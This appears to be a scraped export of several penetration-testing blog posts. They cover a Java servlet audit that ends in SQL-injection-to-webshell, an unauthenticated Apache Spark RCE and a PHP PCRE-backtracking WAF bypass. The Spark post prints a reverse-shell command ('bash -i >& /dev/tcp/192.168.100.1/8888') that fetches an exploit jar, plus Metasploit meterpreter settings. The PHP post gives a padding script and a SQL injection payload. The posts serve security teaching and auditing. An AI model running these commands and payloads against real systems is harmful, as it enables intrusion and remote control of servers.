\u0026lt;servlet\u0026gt; \u0026lt;servlet-name\u0026gt;HelloServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;servlet-class\u0026gt;com.example.HelloServlet\u0026lt;/servlet-class\u0026gt; \u0026lt;/servlet\u0026gt; \u0026lt;servlet-mapping\u0026gt; \u0026lt;servlet-name\u0026gt;HelloServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;url-pattern\u0026gt;/Hello\u0026lt;/url-pattern\u0026gt; \u0026lt;/servlet-mapping\u0026gt; \u0026lt;/web-app\u0026gt; Ⅲ The jsp:useBean tag Also, at the top of the jsp code, I saw heavy use of \u0026lt;jsp:useBean... — see lines 2–4 in the image.\nThis thing is called the **\u0026lt;jsp:useBean\u0026gt;**** tag.** Its definition, summed up, is as follows:\nThe \u0026lt;jsp:useBean\u0026gt; tag lets you declare a JavaBean in a JSP and then use it.\nOnce declared, the JavaBean object becomes a scripting variable that can be accessed via scripting elements or other custom tags. The syntax of the \u0026lt;jsp:useBean\u0026gt; tag is as follows: The id value can be anything, as long as it doesn\u0026rsquo;t duplicate others in context; by convention it matches the last segment of the class (HttpSession); The scope value can be page, request, session, or application, each corresponding to a different scope of effect. Be careful not to set the scope of a [bean that changes frequently] to application or session The class value specifies the corresponding java class; it\u0026rsquo;s generally a relative path starting from WEB-INF/classes/ (using a dot as the path separator) \u0026lt;jsp:useBean id=\u0026#34;HttpSession\u0026#34; scope=\u0026#34;session\u0026#34; class=\u0026#34;example.HttpSession\u0026#34;/\u0026gt; As for JavaBean, I personally think of it as a kind of Java object that follows certain conventions and has certain characteristics.\nTherefore, when auditing, you just need to first look for sensitive functions in the JSP files, then use the tag definitions in the current file to locate the .class that defines the function, and the vulnerability is confirmed. IDEA makes viewing this very convenient.\nⅣ Getting HTTP parameters The way JSP retrieves request parameters is quite easy to understand, but for beginners there are still a few points to note.\n\u0026lt;%@ page contentType=\u0026#34;text/html; charset=gb2312\u0026#34; language=\u0026#34;java\u0026#34; errorPage=\u0026#34;\u0026#34; %\u0026gt; ... \u0026lt;% String id; id = request.getParameter(\u0026#34;id\u0026#34;); // handle Chinese characters String name =new String(request.getParameter(\u0026#34;name\u0026#34;).getBytes(\u0026#34;ISO-8859-1\u0026#34;),\u0026#34;UTF-8\u0026#34;); ... In the code above, request.getParameter is used to receive HTTP parameters sent by the client. As for the id parameter, it will be received by the server whether you submit it via GET or POST.\nIn other words: request.getParameter is compatible with both POST/GET parameters! A bit like PHP\u0026rsquo;s $_REQUEST.\nAlso, Chinese data has to be transcoded to display correctly.\nOf course, JSP has other ways of getting parameters, but since they didn\u0026rsquo;t come up in this engagement, I won\u0026rsquo;t dwell on them. Interested folks can look into them yourselves.\nⅤ File inclusion In addition, file inclusion patterns also appeared in the project\n\u0026lt;%@ include file=\u0026#34;check.jsp\u0026#34;%\u0026gt; After some study, this is a bit like file inclusion in PHP\nSo let\u0026rsquo;s look at the contents of check.jsp,\nClearly, as soon as the code below appears, it means this page\u0026rsquo;s functionality belongs to the admin backend.\n\u0026lt;%@ include file=\u0026#34;check.jsp\u0026#34;%\u0026gt; One thing I still haven\u0026rsquo;t figured out, though: there\u0026rsquo;s no exit function, so why does the code after the include stop executing once it reaches out.print? Probably related to the servlet lifecycle. If anyone knows, please kindly enlighten me in the comments.\nOK, that\u0026rsquo;s enough fundamentals — now let\u0026rsquo;s charge ahead and try to dig up a pre-auth RCE.\n0x02 Backend SQLi Easily found an injection point, with no filtering at all.\nHowever, considering I might need SQLMAP for automated exploitation — an injection point of the delete type, better not.\nSo I went and found another injection point that concatenates a table name.\nBut here came another problem: I\u0026rsquo;d already grabbed a copy of this test environment\u0026rsquo;s database files during the earlier directory scan, yet after searching forever I couldn\u0026rsquo;t find any table starting with task_???\nNo choice but to FUZZ, using raft-large-words.txt from SecLists. Haha — useless, as expected!\nIn the end, just audit it, right? Found a perfect injection point that neither harms the database nor requires any flashy FUZZing. The SQLMAP run results:\nNote that we have DBA privileges, and judging by the case handling, the target is a Windows environment.\nFor me, first, I thought of using a UNC address for out-of-band injection (doable, but unnecessary given the union injection);\nsecond, writing a webshell. Generally speaking, writing a webshell via injection on Windows is harder than on Linux, because the path is relatively harder to guess. However, since I had part of the system\u0026rsquo;s source code in hand, I quickly dug up the web path, C:\\example, and tried using --os-shell to write a shell — no success. At first I guessed the environment had changed the drive letter, so I went through all 26 letters; none worked\u0026hellip;\n0x03 Path disclosure =\u0026gt; backend getshell Heaven never seals off all exits. I recalled that the target environment\u0026rsquo;s Tomcat seemed pretty terrible — it didn\u0026rsquo;t suppress errors and often leaked source code. Hehe!\nBy making the backend backup function throw an error, I successfully obtained the path d:\\exam\\bak\\\nThen, via the SQLMAP --os-shell option, it didn\u0026rsquo;t take much effort to get SQLMAP\u0026rsquo;s shell, which allowed uploading arbitrary files.\n0x04 Pre-auth getshell But back to the point: the target is taken down for now, but that was after all via weak credentials, and people would inevitably mock it as \u0026ldquo;not honoring the martial virtues.\u0026rdquo;\nSo, I searched globally for code that doesn\u0026rsquo;t include check.jsp and found a pre-auth SQL injection\u0026hellip;\nGood — a path to pre-auth getshell exists, though we\u0026rsquo;d need to know the target\u0026rsquo;s web path. But considering this product is almost always deployed as OEM servers sold to customers, it probably won\u0026rsquo;t vary much.\nThanks for reading. This post is mainly a simple code audit, and there are many places where my approach fell short — please feel free to point them out!\nRefs https://www.runoob.com/servlet/servlet-writing-filters.html https://www.w3cschool.cn/jsp/jsp-javabean.html https://www.cnblogs.com/sharpest/p/6117629.html 0x05 Retrospective TODO mind map.\n1. Why not go after 401 authentication? Mainly because I\u0026rsquo;m not skilled enough, and running 401 authentication through Burp felt a bit fiddly — above all the success rate is too low. So the optimization Actions boil down to two\nAction +Summarized the relevant experience: Those Little Things About 401 Authentication in Penetration Testing\nDeveloped the script BAP-Suite, pretty crude\u0026hellip; and too lazy to fix it 2. Why not audit in depth from the start? The initial way in was through weak credentials, so it might well have been a site millions had already hit. Looking for bugs: I didn\u0026rsquo;t dare fire up scanners, while manual testing was costly — had to take a different path and get the source code first. Makes sense, right? But I later found that hunting for source code is quite a bit of work too, so the optimization Actions can start from the following\nAction Developed a one-click source-code lookup system, integrating the GitHub API, Baidu cloud-drive search engines, gitlab/Gogs/HTTPServer findings on Fofa/Zoomeye/Shodan, etc. (Just finished the README) 🤭\n","permalink":"https://www.unc.la/en/posts/penetration/hq8g81/","summary":"\u003cp\u003eThis post was first published on the Alibaba Cloud Xianzhi community at \u003ca href=\"https://xz.aliyun.com/t/9153\"\u003eA Practical Java Servlet Audit - Xianzhi Community\u003c/a\u003e; please cite the original source when reproducing it.\u003c/p\u003e\n\u003cp\u003eThanks for reading!\u003c/p\u003e\n\u003ch1 id=\"0x00----background\"\u003e0x00    Background\u003c/h1\u003e\n\u003cp\u003eDuring a penetration test, I came across a JSP site. After getting into the admin panel with weak credentials, I found it had very few features and was not easy to exploit. A quick check yielded no breakthrough, yet the boss\u0026rsquo;s requirement was to get a shell as soon as possible\u0026hellip;\u003c/p\u003e","title":"[Guest Post] A Practical Java Servlet Audit"},{"content":"Spark, this computing framework, supports multiple deployment modes: it can be deployed on a single computer or across multiple machines (a cluster). To compute data, we must have computers doing the computing for us — and of course, the more computers we have (the larger the cluster), the stronger our computing power. But sometimes we just want to run an experiment or a small computation locally, so deploying it on a single machine is also perfectly fine.\nExploitation Requirement One Spark is running on Standalone Mode.\nStandalone mode\nIn this mode, Spark takes care of resource management and scheduling itself. It divides the machines in the cluster into a master machine and worker machines. There is usually just one master, which you can simply think of as the logistics butler, while the workers are the hard laborers who actually carry out the computing tasks. For specifics on how to configure this, refer to the Spark documentation.\nAuthor: geekpy\nLink: https://www.jianshu.com/p/aaac505908dd\nSource: Jianshu\nCopyright belongs to the author. For commercial reprints, please contact the author for authorization; for non-commercial reprints, please cite the source.\nRequirement Two REST URL of Master is accessible.\n/bin/spark-submit \\ --cluster cluster_name \\ --master spark://host:port \\ ... Exploitation Methods EXP Script ./submit.sh spark_rest_url spark_version jar_url commands e.g. ./submit.sh 172.0.0.1:4040 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar \u0026#34;whoami\u0026#34; Here is an example of a reverse shell:\n./submit.sh 192.168.100.2:6066 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.100.1/8888 0\u0026gt;\u0026amp;1\u0026#34; MSF Module msf5\u0026gt;use exploit/linux/http/spark_unauth_rce msf5\u0026gt;set payload java/meterpreter/reverse_tcp msf5\u0026gt;set rhost 192.168.100.2 msf5\u0026gt;set rport 6066 msf5\u0026gt;set lhost 192.168.100.1 msf5\u0026gt;set lport 4444 msf5\u0026gt;set srvhost 192.168.100.1 msf5\u0026gt;set srvport 8080 msf5\u0026gt;exploit Background There are multiple ways to deploy the Spark computing framework: on a single computer or across multiple machines (a cluster). To compute data, we must have computers doing the computing for us — and of course, the more computers we have (the larger the cluster), the stronger our computing power. But sometimes we just want to run an experiment or a small computation locally, so deploying it on a single machine is also perfectly fine.\nWhen we initialize a SparkConf, or when submitting a Spark job, we always have to set this\u0026lt;font style=\u0026quot;color:#404040;\u0026quot;\u0026gt;master\u0026lt;/font\u0026gt;parameter\nrefs The master parameter when starting Spark and Spark deployment modes CVE-2020-9480: Apache Spark RCE vulnerability in auth-enabled standalone master https://github.com/aRe00t/rce-over-spark Studying the Spark unauthorized RCE vulnerability ","permalink":"https://www.unc.la/en/posts/penetration/nstgnb/","summary":"\u003cp\u003eSpark, this computing framework, supports multiple deployment modes: it can be deployed on a single computer or across multiple machines (a cluster). To compute data, we must have computers doing the computing for us — and of course, the more computers we have (the larger the cluster), the stronger our computing power. But sometimes we just want to run an experiment or a small computation locally, so deploying it on a single machine is also perfectly fine.\u003c/p\u003e","title":"Spark Unauthorized Access RCE Vulnerability"},{"content":"Introduction to Regular Expressions PHP regular expression special characters [:alnum:] [:alpha:] etc.\nFor example, \u0026lsquo;\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;[[:alnum:]]\u0026lt;/font\u0026gt;\u0026rsquo; means \u0026lsquo;\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;[0-9A-Za-z]\u0026lt;/font\u0026gt;\u0026rsquo;, Two very important special characters in regular expressions are \u0026#34;[ ]\u0026#34;. They can match characters that appear inside \u0026#34;[]\u0026#34;; for example, \u0026#34;/[az]/\u0026#34; can match the single character \u0026#34;a\u0026#34; or \u0026#34;z\u0026#34;; if you change the above expression to \u0026#34;/[a-z]/\u0026#34;, it can match any single lowercase letter, such as \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, and so on. If a \u0026#34;^\u0026#34; appears inside \u0026#34;[]\u0026#34;, it means the expression does NOT match the characters listed inside \u0026#34;[]\u0026#34;; for example, \u0026#34;/[^a-z]/\u0026#34; does not match any lowercase letter! In addition, regular expressions provide several default character classes for \u0026#34;[]\u0026#34;, as follows: # \u0026#39;[:alnum:]\u0026#39; matches any letter Alphanumeric characters: \u0026#39;[:alpha:]\u0026#39; and \u0026#39;[:digit:]\u0026#39;. # \u0026#39;[:alpha:]\u0026#39; matches any letter or digit Alphabetic characters: \u0026#39;[:lower:]\u0026#39; and \u0026#39;[:upper:]\u0026#39;. # \u0026#39;[:blank:]\u0026#39; Blank characters: space and tab. # \u0026#39;[:cntrl:]\u0026#39; Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 (\u0026#39;DEL\u0026#39;). In other character sets, these are the equivalent characters, if any. # \u0026#39;[:digit:]\u0026#39; matches any digit Digits: \u0026#39;0 1 2 3 4 5 6 7 8 9\u0026#39;. # \u0026#39;[:graph:]\u0026#39; Graphical characters: \u0026#39;[:alnum:]\u0026#39; and \u0026#39;[:punct:]\u0026#39;. # \u0026#39;[:lower:]\u0026#39; matches any lowercase letter Lower-case letters: \u0026#39;a b c d e f g h i j k l m n o p q r s t u v w x y z\u0026#39;. # \u0026#39;[:print:]\u0026#39; Printable characters: \u0026#39;[:alnum:]\u0026#39;, \u0026#39;[:punct:]\u0026#39;, and space. # \u0026#39;[:punct:]\u0026#39; matches any punctuation character Punctuation characters: \u0026#39;! \u0026#34; # $ % \u0026amp; \u0026#39; ( ) * + , - . / : ; \u0026lt; = \u0026gt; ? @ [ \\ ] ^ _ \u0026#39; { | } ~\u0026#39;. # \u0026#39;[:space:]\u0026#39; matches whitespace characters Space characters: tab, newline, vertical tab, form feed, carriage return, and space. # \u0026#39;[:upper:]\u0026#39; matches any uppercase letter Upper-case letters: \u0026#39;A B C D E F G H I J K L M N O P Q R S T U V W X Y Z\u0026#39;. # \u0026#39;[:xdigit:]\u0026#39; matches any hexadecimal digit Hexadecimal digits: \u0026#39;0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f\u0026#39;. Background First, let\u0026rsquo;s look at a piece of regex that is very common in WAFs,\n... if(preg_match(\u0026#39;/SELECT.+?FROM.+/is\u0026#39;, $_POST[\u0026#39;sql\u0026#39;])){ die(\u0026#34;SQL injection\u0026#34;) //WAF }else{ echo($_POST[\u0026#39;sql\u0026#39;]); //mysql_query($db, $_POST[\u0026#39;sql\u0026#39;]); //query } How do you bypass it? — I\u0026rsquo;m sure the masters out there have plenty of methods. But today I want to discuss one unconventional bypass technique in detail: using regex backtracking to bypass regex-based checks.\nPrinciple Analysis (PHP 4, PHP 5, PHP 7)\npreg_match_all — Perform a global regular expression match\nreg_match_all ( string \u0026lt;font style=\u0026quot;color:#737373;\u0026quot;\u0026gt;$pattern\u0026lt;/font\u0026gt; , string \u0026lt;font style=\u0026quot;color:#737373;\u0026quot;\u0026gt;$subject\u0026lt;/font\u0026gt; , array \u0026lt;font style=\u0026quot;color:#737373;\u0026quot;\u0026gt;\u0026amp;$matches\u0026lt;/font\u0026gt; = ? , int \u0026lt;font style=\u0026quot;color:#737373;\u0026quot;\u0026gt;$flags\u0026lt;/font\u0026gt; = **\u0026lt;font style=\u0026quot;color:#993366;\u0026quot;\u0026gt;PREG_PATTERN_ORDER\u0026lt;/font\u0026gt;** , int \u0026lt;font style=\u0026quot;color:#737373;\u0026quot;\u0026gt;$offset\u0026lt;/font\u0026gt; = 0 ) : int\nReturn Values\nReturns the number of full matches (which may be 0), or false on error.\nNote that the return value of preg_match can be not only 0 or 1, but also false due to an error.\nThere are roughly two causes for the error: 1. the regex backtracking limit is exceeded; 2. the type of the input parameter is not a string (e.g., it\u0026rsquo;s an array).\nWe mainly focus on the first one: exploiting the regex backtracking limit. Back to the example at the beginning:\n\u0026lt;?php function is_php($data){ return preg_match(\u0026#39;/\u0026lt;\\?.*[(`;?\u0026gt;].*/is\u0026#39;, $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = \u0026#39;data/\u0026#39; . md5($_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;]); $data = file_get_contents($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;]); if (is_php($data)) { //this check must be bypassed; make it return false echo \u0026#34;bad request\u0026#34;; } else { @mkdir($user_dir, 0755); $path = $user_dir . \u0026#39;/\u0026#39; . random_int(0, 10) . \u0026#39;.php\u0026#39;; move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;], $path); header(\u0026#34;Location: $path\u0026#34;, true, 303); } 1 Look only at the first few lines — the is_php() function that determines whether the input is PHP code:\nWhen the input string contains SELECT and FROM, each followed by an arbitrary string, the match is considered satisfied and preg_match returns 1. The parameters are explained as follows:\n.+, \u0026ldquo;dot plus\u0026rdquo;: . matches any single character except the newline character \\n, and + matches the preceding sub-expression 1 or more times; combined, they effectively match any string. This regex is problematic — but where does the problem lie? That brings us to how regex matching works in PHP.\nTo prevent regular-expression denial-of-service attacks (ReDoS), PHP sets a backtracking limit for PCRE via pcre.backtrack_limit. We can check the limit in the current environment in phpinfo; the default is 1,000,000.\nCommon regex engines can be classified into DFA (Deterministic Finite Automaton) and NFA (Non-deterministic Finite Automaton). Most programming languages use an NFA as their regex engine, including the PCRE library used by PHP.\nNFA: starting from the initial state, it reads the input string character by character and matches it against the regular expression; if the match fails, it searches backward (backtracks) and tries other states\nSo how exactly does an NFA backtrack? Let\u0026rsquo;s illustrate with the following string and expression.\nregex=/SELECT.+FROM.+/ param=select id from /*0123456789*/ test First, take the first matching token S of the regular expression and compare it against the characters of the string. The first character of the string is s, which matches (case-insensitively); move to the next one. The second is E, which matches the second character e of the string; move on again, until SELECT finishes matching select. Next comes the second part of the expression, .+: any string matched 1 or more times, so it can swallow all the remaining characters in one go — the regex consumes select id from /*0123456789*/ test. But at this point the F in the regular expression cannot be matched, and the consumed string has already reached the end, so backtracking begins: matching backward from the end. It first tries the trailing t — of course it can\u0026rsquo;t match F — then the second-to-last character s, which also fails, so it backtracks step by step until reaching the f inside the string, with the backtracking count increasing again and again\u0026hellip; until the number of backtracks exceeds the preset value of 1,000,000, an error occurs, and the function returns false. Therefore, we can make the regex execution fail — returning false — by sending an extremely long string, thereby bypassing the target\u0026rsquo;s restriction on PHP code.\n(The animation shows the regex debugger, from: https://regex101.com/r/pf5Pa0/1/debugger)\nThe method shown at the beginning is bypassed exactly this way, but there is one prerequisite: the payload must be in a POST parameter, not a GET parameter, because RFC 2616 limits GET parameters to at most 8K (8*1024). In my local test the cutoff was 8178 characters; once exceeded, the status code becomes 414.\nThis may also be one of the reasons why crafting an extremely long POST string can bypass a WAF in many cases (WAFs have to consider performance)\nExploitation Under certain conditions (POST parameter + a specific regex): you can exploit regex backtracking to make the preg_match function return false, thereby bypassing the regex-based check. During code audits, pay extra attention to whether the regular expressions in global filtering can be bypassed with this technique.\nPreviously maccms had a front-end RCE that used exactly this method to bypass the global filtering function; for details see maccmsV8 front-end RCE (preg_match bypass)\nHow to exploit: send an extremely long string. You can use Burp\u0026rsquo;s Intruder with the payload type Character blocks:\nYou can also adapt the following Python script for exploitation\n#!/usr/bin/env python3 #encoding: utf-8 import requests NUM = 1000000;# the number of characters you want to pad URL = \u0026#34;http://php.test/select.php\u0026#34; # target address param = \u0026#34;union select 1,2,3,4,5 /*{}*/ \u0026#34;.format(\u0026#34;A\u0026#34;*NUM) post_data = {\u0026#34;p\u0026#34;:param} resp = requests.post(url=URL, data=post_data) print(resp.text) Conclusion (Remediation) If you use preg_match to match a string, always use the === strict equality operator to check the return value, for example: \u0026lt;?php function is_php($data){ return preg_match(\u0026#39;/\u0026lt;\\?.*[(`;?\u0026gt;].*/is\u0026#39;, $data); } if(is_php($input) === 0) { // fwrite($f, $input); ... } This way, even if the regex execution fails and returns false, the if branch will not be entered.\nI recommend the website https://regex101.com/, which lets you check whether your regular expression has problems when matching a given string. reference Bypassing certain security restrictions in PHP via the PCRE backtracking limit https://www.freebuf.com/articles/web/190794.html Regular expression backtracking vulnerability https://blog.csdn.net/dl71181/article/details/101281495 Regular expressions — the backtracking trap - Wuwei Sikao (cnblogs blog) https://www.cnblogs.com/zhaoshujie/p/10278919.html HTTP/1.1: Protocol Parameters https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.1 PHP Manual - PCRE regex syntax https://www.php.net/manual/zh/regexp.reference.meta.php regex debugger https://regex101.com/ maccmsV8 front-end RCE (preg_match bypass) https://mochazz.github.io/2020/01/08/maccmsV8前台RCE(preg_match绕过)/ ","permalink":"https://www.unc.la/en/posts/penetration/es4kkx/","summary":"\u003ch1 id=\"introduction-to-regular-expressions\"\u003eIntroduction to Regular Expressions\u003c/h1\u003e\n\u003cp\u003ePHP regular expression special characters \u003ccode\u003e[:alnum:]\u003c/code\u003e  \u003ccode\u003e[:alpha:]\u003c/code\u003e etc.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cfont style=\"color:rgb(0, 0, 0);\"\u003eFor example, \u0026lsquo;\u003c/font\u003e\u003ccode\u003e\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;[[:alnum:]]\u0026lt;/font\u0026gt;\u003c/code\u003e\u003cfont style=\"color:rgb(0, 0, 0);\"\u003e\u0026rsquo; means \u0026lsquo;\u003c/font\u003e\u003ccode\u003e\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;[0-9A-Za-z]\u0026lt;/font\u0026gt;\u003c/code\u003e\u003cfont style=\"color:rgb(0, 0, 0);\"\u003e\u0026rsquo;, \u003c/font\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTwo very important special characters in regular expressions are \u0026#34;[ ]\u0026#34;. They can match characters that appear inside \u0026#34;[]\u0026#34;; for example, \u0026#34;/[az]/\u0026#34; can match the single character \u0026#34;a\u0026#34; or \u0026#34;z\u0026#34;; if you change the above expression to \u0026#34;/[a-z]/\u0026#34;, it can match any single lowercase letter, such as \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, and so on.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eIf a \u0026#34;^\u0026#34; appears inside \u0026#34;[]\u0026#34;, it means the expression does NOT match the characters listed inside \u0026#34;[]\u0026#34;; for example, \u0026#34;/[^a-z]/\u0026#34; does not match any lowercase letter! In addition, regular expressions provide several default character classes for \u0026#34;[]\u0026#34;, as follows:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:alnum:]\u0026#39; matches any letter\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eAlphanumeric characters: \u0026#39;[:alpha:]\u0026#39; and \u0026#39;[:digit:]\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:alpha:]\u0026#39; matches any letter or digit\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eAlphabetic characters: \u0026#39;[:lower:]\u0026#39; and \u0026#39;[:upper:]\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:blank:]\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eBlank characters: space and tab.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:cntrl:]\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eControl characters. In ASCII, these characters have octal codes 000 through 037, and 177 (\u0026#39;DEL\u0026#39;). In other character sets, these are the equivalent characters, if any.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:digit:]\u0026#39; matches any digit\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDigits: \u0026#39;0 1 2 3 4 5 6 7 8 9\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:graph:]\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGraphical characters: \u0026#39;[:alnum:]\u0026#39; and \u0026#39;[:punct:]\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:lower:]\u0026#39; matches any lowercase letter\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eLower-case letters: \u0026#39;a b c d e f g h i j k l m n o p q r s t u v w\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ex y z\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:print:]\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePrintable characters: \u0026#39;[:alnum:]\u0026#39;, \u0026#39;[:punct:]\u0026#39;, and space.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:punct:]\u0026#39; matches any punctuation character\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePunctuation characters: \u0026#39;! \u0026#34; # $ % \u0026amp; \u0026#39; ( ) * + , - . / : ; \u0026lt; = \u0026gt; ? @ [ \\ ] ^ _ \u0026#39; { | } ~\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:space:]\u0026#39; matches whitespace characters\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eSpace characters: tab, newline, vertical tab, form feed, carriage\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ereturn, and space.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:upper:]\u0026#39; matches any uppercase letter\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUpper-case letters: \u0026#39;A B C D E F G H I J K L M N O P Q R S T U V W\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eX Y Z\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# \u0026#39;[:xdigit:]\u0026#39; matches any hexadecimal digit\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHexadecimal digits: \u0026#39;0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"background\"\u003eBackground\u003c/h2\u003e\n\u003cp\u003eFirst, let\u0026rsquo;s look at a piece of regex that is very common in WAFs,\u003c/p\u003e","title":"Bypassing Regular Expressions in PHP via PCRE Backtracking"},{"content":"Address: https://code-breaking.com/intro/\n0x08 picklecode Hard\nFirst, we need to brush up on format string vulnerability knowledge; see https://blog.csdn.net/wenrennaoda/article/details/107224921\nThere is indeed a format string vulnerability. So the first step is to exploit this bug to leak Django\u0026rsquo;s SECRET_KEY, which can be found by setting up the environment locally with PHPCharm\nPython Web: flask session \u0026amp; format string vulnerability\nhttps://xz.aliyun.com/t/3569\nSecurity issues caused by client-side sessions | LeaveSong\nhttps://www.leavesongs.com/PENETRATION/client-session-security.html\nPython format string vulnerability (Django as an example)\nhttps://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html#django\nSecond, we need to bypass some of pickle\u0026rsquo;s function restrictions.\n0x07 lumenserial lumenserial.zip\nSimilar to the Laravel framework; first, analyze the routes:\n// code-breaking\\2018\\lumenserial\\cat\\app\\Http\\Controllers\\EditorController.php public function main(Request $request) { $action = 